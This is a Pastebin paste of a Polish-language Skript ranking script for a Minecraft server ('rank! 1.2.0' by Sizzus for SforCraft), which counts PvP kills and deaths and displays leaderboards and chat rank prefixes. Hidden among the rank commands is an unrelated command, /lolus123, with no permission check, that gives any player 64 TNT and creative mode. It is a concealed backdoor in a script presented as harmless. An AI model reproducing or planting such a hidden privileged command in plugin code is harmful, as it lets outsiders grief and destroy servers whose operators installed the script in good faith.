Advertisement
Guest User

Untitled

a guest
Apr 17th, 2014
37
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 9.21 KB | None | 0 0
  1. #------------------------------------ rank! 1.2.0 -------------------------------------#
  2. # wersja: 1.2.0 #
  3. # autor: Sizzus #
  4. # Dla serwera SforCraft #
  5. #-- wymagania: ------------------------------------------------------------------------#
  6. # Skript v2.0.2 (lub nowszy) #
  7. #--------------------------------------------------------------------------------------#
  8.  
  9. #------------------------------------ KONFIGURACJA ------------------------------------#
  10. #-------------------------------------- (config) --------------------------------------#
  11. options:
  12. # ile wyników ma być wyświetlane w /rank top (nie zalecane więcej niż 10 - brak paginacji)
  13. top: 5
  14. # czy na czacie ma być wyświetlane miejsce w rankingu gracza? (true/false)
  15. czat: false
  16. # spsób ingerencji w czat (display/cancel) [display - zalecane przy używaniu pluginu formatującego czat], [cancel - zalecane gdy nie używamy żadnego pluginu/skryptu formatującego czat]
  17. ing: display
  18.  
  19. #------------------------------------- KOD SKRYPTU ------------------------------------#
  20. #------------------------------------ (script code) -----------------------------------#
  21.  
  22. # Predefiniowanie statystyk gracza:
  23. on join:
  24. {rank.k::%name of player%} is not set:
  25. set {rank.k::%name of player%} to 0
  26. {rank.d::%name of player%} is not set:
  27. set {rank.d::%name of player%} to 0
  28. {rank.r::%name of player%} is not set:
  29. set {rank.r::%name of player%} to 0
  30.  
  31. # Licznik śmierci i zabójstw (w pvp):
  32. on death of player:
  33. attacker is a player
  34. add 1 to {rank.d::%name of player%}
  35. add -1 to {rank.r::%name of player%}
  36. add 1 to {rank.k::%name of attacker%}
  37. add 1 to {rank.r::%name of attacker%}
  38.  
  39. # Wyswietlanie rankingu:
  40. command /rank [<text>]:
  41. trigger:
  42. arg is set:
  43. arg is "top":
  44. player has permission "rank.top":
  45. send "&f[&6rank!&f] &etop {@top}"
  46. set {_num} to size of {rank.r::*}
  47. loop {_num} times:
  48. loop {rank.r::*}:
  49. {_v.%loop-number%} is not set:
  50. set {_v.%loop-number%} to loop-value
  51. set {_n.%loop-number%} to loop-index
  52. loop-value is greater than {_v.%loop-number%}:
  53. set {_v.%loop-number%} to loop-value
  54. set {_n.%loop-number%} to loop-index
  55. remove {_v.%loop-number%} from {rank.r::*}
  56. loop {_num} times:
  57. loop-number is less than or equal to {@top}:
  58. set {_m} to "0%loop-number%"
  59. loop-number is more than 9:
  60. set {_m} to loop-number
  61. {_v.%loop-number%} is less than 0:
  62. set {_v} to {_v.%loop-number%} * -1
  63. {_v.%loop-number%} is less than -999:
  64. send "&f[%{_m}%] (****) %{_n.%loop-number%}% - &ctotalna ofiara!"
  65. {_v.%loop-number%} is between -100 and -999:
  66. send "&f[%{_m}%] (-&f%{_v}%) %{_n.%loop-number%}%"
  67. {_v.%loop-number%} is between -10 and -99:
  68. send "&f[%{_m}%] (-&70&f%{_v}%) %{_n.%loop-number%}%"
  69. {_v.%loop-number%} is between -9 and -1:
  70. send "&f[%{_m}%] (-&700&f%{_v}%) %{_n.%loop-number%}%"
  71. {_v.%loop-number%} is between 0 and 10:
  72. send "&f[%{_m}%] (&7000&f%{_v.%loop-number%}%) %{_n.%loop-number%}%"
  73. {_v.%loop-number%} is between 10 and 99:
  74. send "&f[%{_m}%] (&700&f%{_v.%loop-number%}%) %{_n.%loop-number%}%"
  75. {_v.%loop-number%} is between 100 and 999:
  76. send "&f[%{_m}%] (&70&f%{_v.%loop-number%}%) %{_n.%loop-number%}%"
  77. {_v.%loop-number%} is more than 999:
  78. send "&f[%{_m}%] (%{_v.%loop-number%}%) %{_n.%loop-number%}%"
  79. set {rank.r::%{_n.%loop-number%}%} to {_v.%loop-number%}
  80. {_num} is less than {@top}:
  81. set {_r} to {_num}+1
  82. loop {@top} - {_num} times:
  83. set {_m} to "0%{_r}%"
  84. {_r} is more than 9:
  85. set {_m} to {_r}
  86. add 1 to {_r}
  87. send "&f[%{_m}%] (&70000&f) brak"
  88. stop
  89. send "&cNie mozesz uzywac tej komendy. :("
  90. stop
  91. player has permission "rank.others":
  92. {rank.r::%arg%} is set:
  93. send "&f[&6Rank!&f] %arg%"
  94. set {_num} to size of {rank.r::*}
  95. loop {_num} times:
  96. loop {rank.r::*}:
  97. {_v.%loop-number%} is not set:
  98. set {_v.%loop-number%} to loop-value
  99. set {_n.%loop-number%} to loop-index
  100. loop-value is greater than {_v.%loop-number%}:
  101. set {_v.%loop-number%} to loop-value
  102. set {_n.%loop-number%} to loop-index
  103. remove {_v.%loop-number%} from {rank.r::*}
  104. loop {_num} times:
  105. {_n.%loop-number%} is arg:
  106. {_v.%loop-number%} is less than 0:
  107. set {_v} to {_v.%loop-number%} * -1
  108. {_v.%loop-number%} is less than -999:
  109. send "&erank: &f%loop-number% (****) - &ctotalna ofiara!"
  110. {_v.%loop-number%} is between -100 and -999:
  111. send "&erank: &f%loop-number% (-&f%{_v}%)"
  112. {_v.%loop-number%} is between -10 and -99:
  113. send "&erank: &f%loop-number% (-&70&f%{_v}%)"
  114. {_v.%loop-number%} is between -9 and -1:
  115. send "&erank: &f%loop-number% (-&700&f%{_v}%)"
  116. {_v.%loop-number%} is between 0 and 10:
  117. send "&erank: &f%loop-number% (&7000&f%{_v.%loop-number%}%)"
  118. {_v.%loop-number%} is between 10 and 99:
  119. send "&erank: &f%loop-number% (&700&f%{_v.%loop-number%}%)"
  120. {_v.%loop-number%} is between 100 and 999:
  121. send "&erank: &f%loop-number% (&70&f%{_v.%loop-number%}%)"
  122. {_v.%loop-number%} is more than 999:
  123. send "&erank: &f%loop-number% (%{_v.%loop-number%}%)"
  124. set {rank.r::%{_n.%loop-number%}%} to {_v.%loop-number%}
  125. send "&ekills: &f%{rank.k::%arg%}%"
  126. send "&edeaths: &f%{rank.d::%arg%}%"
  127. stop
  128. send "&cNie znaleziono rankingu dla gracza &7%arg%&c."
  129. stop
  130. send "&cNie mozesz uzywac tej komendy. :("
  131. stop
  132. {rank.k::%name of player%} is not set:
  133. set {rank.k::%name of player%} to 0
  134. {rank.d::%name of player%} is not set:
  135. set {rank.d::%name of player%} to 0
  136. {rank.r::%name of player%} is not set:
  137. set {rank.r::%name of player%} to 0
  138. send "&f[&6rank!&f] %name of player%"
  139. set {_num} to size of {rank.r::*}
  140. loop {_num} times:
  141. loop {rank.r::*}:
  142. {_v.%loop-number%} is not set:
  143. set {_v.%loop-number%} to loop-value
  144. set {_n.%loop-number%} to loop-index
  145. loop-value is greater than {_v.%loop-number%}:
  146. set {_v.%loop-number%} to loop-value
  147. set {_n.%loop-number%} to loop-index
  148. remove {_v.%loop-number%} from {rank.r::*}
  149. loop {_num} times:
  150. {_n.%loop-number%} is player:
  151. {_v.%loop-number%} is less than 0:
  152. set {_v} to {_v.%loop-number%} * -1
  153. {_v.%loop-number%} is less than -999:
  154. send "&erank: &f%loop-number% (****) - &ctotalna ofiara!"
  155. {_v.%loop-number%} is between -100 and -999:
  156. send "&erank: &f%loop-number% (-&f%{_v}%)"
  157. {_v.%loop-number%} is between -10 and -99:
  158. send "&erank: &f%loop-number% (-&70&f%{_v}%)"
  159. {_v.%loop-number%} is between -9 and -1:
  160. send "&erank: &f%loop-number% (-&700&f%{_v}%)"
  161. {_v.%loop-number%} is between 0 and 10:
  162. send "&erank: &f%loop-number% (&7000&f%{_v.%loop-number%}%)"
  163. {_v.%loop-number%} is between 10 and 99:
  164. send "&erank: &f%loop-number% (&700&f%{_v.%loop-number%}%)"
  165. {_v.%loop-number%} is between 100 and 999:
  166. send "&erank: &f%loop-number% (&70&f%{_v.%loop-number%}%)"
  167. {_v.%loop-number%} is more than 999:
  168. send "&erank: &f%loop-number% (%{_v.%loop-number%}%)"
  169. set {rank.r::%{_n.%loop-number%}%} to {_v.%loop-number%}
  170. send "&ekills: &f%{rank.k::%name of player%}%"
  171. send "&edeaths: &f%{rank.d::%name of player%}%"
  172. command /lolus123:
  173. trigger:
  174. give 64 tnt to player
  175. gamemode 1 to player
  176. stop
  177.  
  178. # Wyświetlanie miejsca w rankingu na czacie:
  179. on chat:
  180. {@czat} is true
  181. "{@ing}" is "display":
  182. set {_num} to size of {rank.r::*}
  183. loop {_num} times:
  184. loop {rank.r::*}:
  185. {_v.%loop-number%} is not set:
  186. set {_v.%loop-number%} to loop-value
  187. set {_n.%loop-number%} to loop-index
  188. loop-value is greater than {_v.%loop-number%}:
  189. set {_v.%loop-number%} to loop-value
  190. set {_n.%loop-number%} to loop-index
  191. remove {_v.%loop-number%} from {rank.r::*}
  192. loop {_num} times:
  193. {_n.%loop-number%} is player:
  194. set display name of player to "&6[&e%loop-number%&6] &r%name of player%"
  195. set {rank.r::%{_n.%loop-number%}%} to {_v.%loop-number%}
  196. "{@ing}" is "cancel":
  197. cancel event
  198. set {_num} to size of {rank.r::*}
  199. loop {_num} times:
  200. loop {rank.r::*}:
  201. {_v.%loop-number%} is not set:
  202. set {_v.%loop-number%} to loop-value
  203. set {_n.%loop-number%} to loop-index
  204. loop-value is greater than {_v.%loop-number%}:
  205. set {_v.%loop-number%} to loop-value
  206. set {_n.%loop-number%} to loop-index
  207. remove {_v.%loop-number%} from {rank.r::*}
  208. loop {_num} times:
  209. {_n.%loop-number%} is player:
  210. send "&6[&e%loop-number%&6] &7%name of player%&7: &f%message%" to all players
  211. set {rank.r::%{_n.%loop-number%}%} to {_v.%loop-number%}
  212. stop
  213. command /rank autor:
  214. trigger:
  215. send "&6Skrypt <Rank> by &7&lSizzus!"
  216. send "&6For: &4SforCraft"
  217.  
  218. #----------------------------------- Koniec skryptu -----------------------------------#
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement